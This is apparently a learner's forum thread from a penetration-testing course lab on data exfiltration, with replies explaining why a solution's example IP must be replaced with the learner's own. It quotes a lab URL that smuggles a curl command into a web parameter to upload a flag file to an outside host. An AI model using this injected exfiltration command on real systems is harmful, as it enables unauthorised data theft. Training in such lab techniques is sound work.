Penetration Testing Prerequisites - Networking - Data Exfiltration

Hello, I just new to this, but i don’t understand on

http://demo.ine.local:8000?cmd=curl+192.77.184.2+--upload-file+flag.zip

It’s posted on solution.
Why i have to curl it to 192.77.184.2? I just don’t understand about it, because it’s not my IP Address or target IP Address.
My IP Address is 192.234.19.2 on this lab.
My target IP Address is 192.234.19.3 on this lab.

Thank you very much, really appreciate it.

Understand the instruction clearly, l also spend 2 hours on that task, put your ip on that ip address

The IP address showing in the solution instructions is the IP of their machine for the solution example. You would need to use the IP of your machine found in terminal in the url shown above. Hope this helps.
